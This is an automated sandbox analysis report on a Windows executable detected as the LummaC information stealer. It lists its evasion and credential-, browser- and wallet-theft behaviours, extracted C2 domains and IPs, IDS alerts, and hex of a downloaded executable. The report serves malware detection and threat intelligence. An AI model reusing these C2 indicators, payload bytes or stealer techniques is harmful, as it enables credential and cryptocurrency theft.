Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1556832
MD5:	ee89fe2b0fa6587b792d5e2514c916cc
SHA1:	6ee921ce3a1935c6ccf18ba606a4a7ef5ffcc224
SHA256:	4e198144ab24582e719a23d401f2989dc201622ffe6769fe103b46592ec43d5d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7416 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EE89FE2B0FA6587B792D5E2514C916CC)

chrome.exe (PID: 8024 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2000,i,18382782211860012074,2766989796147544091,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2228 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1992,i,3125156772229550681,2410436148058244505,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["faintbl0w.sbs", "300snails.sbs", "thicktoys.sbs", "3xc1aimbl0w.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 7416	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7416	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7416	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T04:33:05.080752+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.80.55	443	TCP
2024-11-16T04:33:06.441720+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.80.55	443	TCP
2024-11-16T04:33:07.846641+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.80.55	443	TCP
2024-11-16T04:33:09.411799+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.80.55	443	TCP
2024-11-16T04:33:10.900501+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.80.55	443	TCP
2024-11-16T04:33:12.598170+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.80.55	443	TCP
2024-11-16T04:33:14.441747+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	104.21.80.55	443	TCP
2024-11-16T04:33:21.341916+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	104.21.80.55	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T04:33:05.771940+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.80.55	443	TCP
2024-11-16T04:33:06.973677+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.80.55	443	TCP
2024-11-16T04:33:22.037729+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49739	104.21.80.55	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T04:33:05.771940+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.80.55	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T04:33:06.973677+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.80.55	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T04:33:05.080752+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	104.21.80.55	443	TCP
2024-11-16T04:33:06.441720+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	104.21.80.55	443	TCP
2024-11-16T04:33:07.846641+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	104.21.80.55	443	TCP
2024-11-16T04:33:09.411799+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	104.21.80.55	443	TCP
2024-11-16T04:33:10.900501+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	104.21.80.55	443	TCP
2024-11-16T04:33:12.598170+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	104.21.80.55	443	TCP
2024-11-16T04:33:14.441747+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	104.21.80.55	443	TCP
2024-11-16T04:33:21.341916+0100	2057397	1	Domain Observed Used for C2 Detected	192.168.2.4	49739	104.21.80.55	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T04:33:22.948362+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49742	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T04:33:04.400199+0100	2057396	1	Domain Observed Used for C2 Detected	192.168.2.4	50800	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T04:33:13.358469+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	104.21.80.55	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T04:33:14.446145+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49736	104.21.80.55	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.2050891560.0000000006042000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1953097718.0000000007FA0000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057396 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs) : 192.168.2.4:50800 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.4:49732 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.4:49730 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.4:49731 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.4:49734 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.4:49733 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.4:49735 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.4:49736 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2057397 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI) : 192.168.2.4:49739 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49739 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49736 -> 104.21.80.55:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: faintbl0w.sbs
Source: Malware configuration extractor	URLs: 300snails.sbs
Source: Malware configuration extractor	URLs: thicktoys.sbs
Source: Malware configuration extractor	URLs: 3xc1aimbl0w.sbs

Source: global traffic

TCP traffic: 192.168.2.4:49793 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 16 Nov 2024 03:33:22 GMTContent-Type: application/octet-streamContent-Length: 2811904Last-Modified: Sat, 16 Nov 2024 03:12:52 GMTConnection: keep-aliveETag: "67380db4-2ae800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 a7 74 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 62 6f 68 6d 6c 6e 61 00 a0 2a 00 00 a0 00 00 00 88 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 68 78 70 75 63 6d 69 00 20 00 00 00 40 2b 00 00 04 00 00 00 c2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.67 13.107.246.67
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49742 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1uoc19OFMACUN2E&MD=7BxMkHdp HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
